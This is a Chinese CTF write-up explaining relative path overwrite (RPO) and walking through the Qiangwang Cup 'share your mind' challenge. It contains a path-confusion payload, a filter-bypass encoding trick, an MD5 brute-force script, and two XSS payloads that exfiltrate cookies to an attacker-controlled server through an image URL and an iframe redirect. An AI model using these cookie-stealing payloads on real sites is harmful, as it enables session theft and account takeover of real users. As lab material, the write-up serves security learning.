RPO漏洞就是服务端和客户端对这个URL的解析不一致导致的,当页面中调用的静态文件是以相对路径调用的时候,我们可以利用浏览器错误的解析页面的路径从而去错误的引导静态文件(CSS)文件加载

在apche上..%2f不能解析,只有在nginx上才能实现。条件这么苛刻,都不知道用处多大。。

:这个大佬的入门还是挺好的,可以看看这个,apache上也可以复现,代码就不贴了。有传参存在的时候,在这里浏览器误以为我们参数的键/country/是一个实际的路径,从而导致实际加载的css文件路径就成了
http://localhost/hello/url.php/country/style.css,在这里服务端收到的请求会认为请求/country/style.css是一个键为country值为style.css的参数,从而返回页面。

发现RPO后利用修改了网页的路径,使页面css加载路径成为了可以加载任意的google域名下的任意样式表,然后在样式表中找到一个可以使用参数导入背景的网页,向里面插入攻击参数,传入了一个简单的css样式。使用被攻击页面url进行引用,页面的css样式改变攻击代码在能成功执行。

实在是不想搭个nginx的环境了,将强网杯 share your mind 复现下好了

在源码中,其中一个调用js的时候没有/,存在rpo漏洞。





rpc漏洞测试 rpc漏洞是什么_运维


1.png


rpc漏洞测试 rpc漏洞是什么_python_02


1.png


rpc漏洞测试 rpc漏洞是什么_php_03


2.png


payload:
http://39.107.33.96:20000/index.php/view/article/2664/..%2f..%2f..%2f..%2findex.php (%2f是/的url编码,服务器能解析,但是浏览器不能解析)
其中,写文章的地方是我们可控的,写入我们想测试的xss语句,标题不要写,内容为alert(1),然后引用payload发现弹框了。

查看当前js的引用路径http://39.107.33.96:20000/index.php/view/article/2664/static/js/jquery.min.js 我们正常访问这个路径时发现内容和我们访问http://39.107.33.96:20000/index.php/view/article/2664的内容是一样的
这就说明,网页按照这个路径把2664的内容当做了js文件进行了请求,并且还当做js代码执行了,而后面的js的路径被当做了参数忽略了。

构建攻击payload

b=document.cookie;a='<img src=http://ip/'+btoa(b)+'>';  document.write(a);
ip为自己的服务器ip,在服务器上查看日志文件

因为攻击代码的引用时会过滤了单引号和双引号,所以要对payload进行实体化编码,用String.fromCharCode()函数引用
print map(ord ,"payload") //将payload放入进行实体化编码,python真的强eval(String.fromCharCode()) //将实体化编码的payload放入 然后将http://39.107.33.96:20000/index.php/view/article/2578/..%2f..%2f..%2f..%2findex.php提交到Reports


rpc漏洞测试 rpc漏洞是什么_css_04


1.png


将GET后的内容base64解码,得到HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"

提交的时候还需爆破substr((md5($code),0,6) ,贴下代码

# !/usr/bin/env python
import hashlib
def md5(s):
    return hashlib.md5(s).hexdigest()
for i in range(1, 99999999):
    if md5(str(i)).startswith('cd5664'):
        print i
        break

将里面的内容写成题目上给的就行

然后继续

var i = document.createElement("iframe");i.setAttribute("src", "/QWB_fl4g/QWB/");
document.body.appendChild(i);i.addEventListener( "load", function(){ var content = i.contentWindow.document.cookie; location='//yourvps/'+btoa(content);}, false);

跟上面一样,就不贴了。。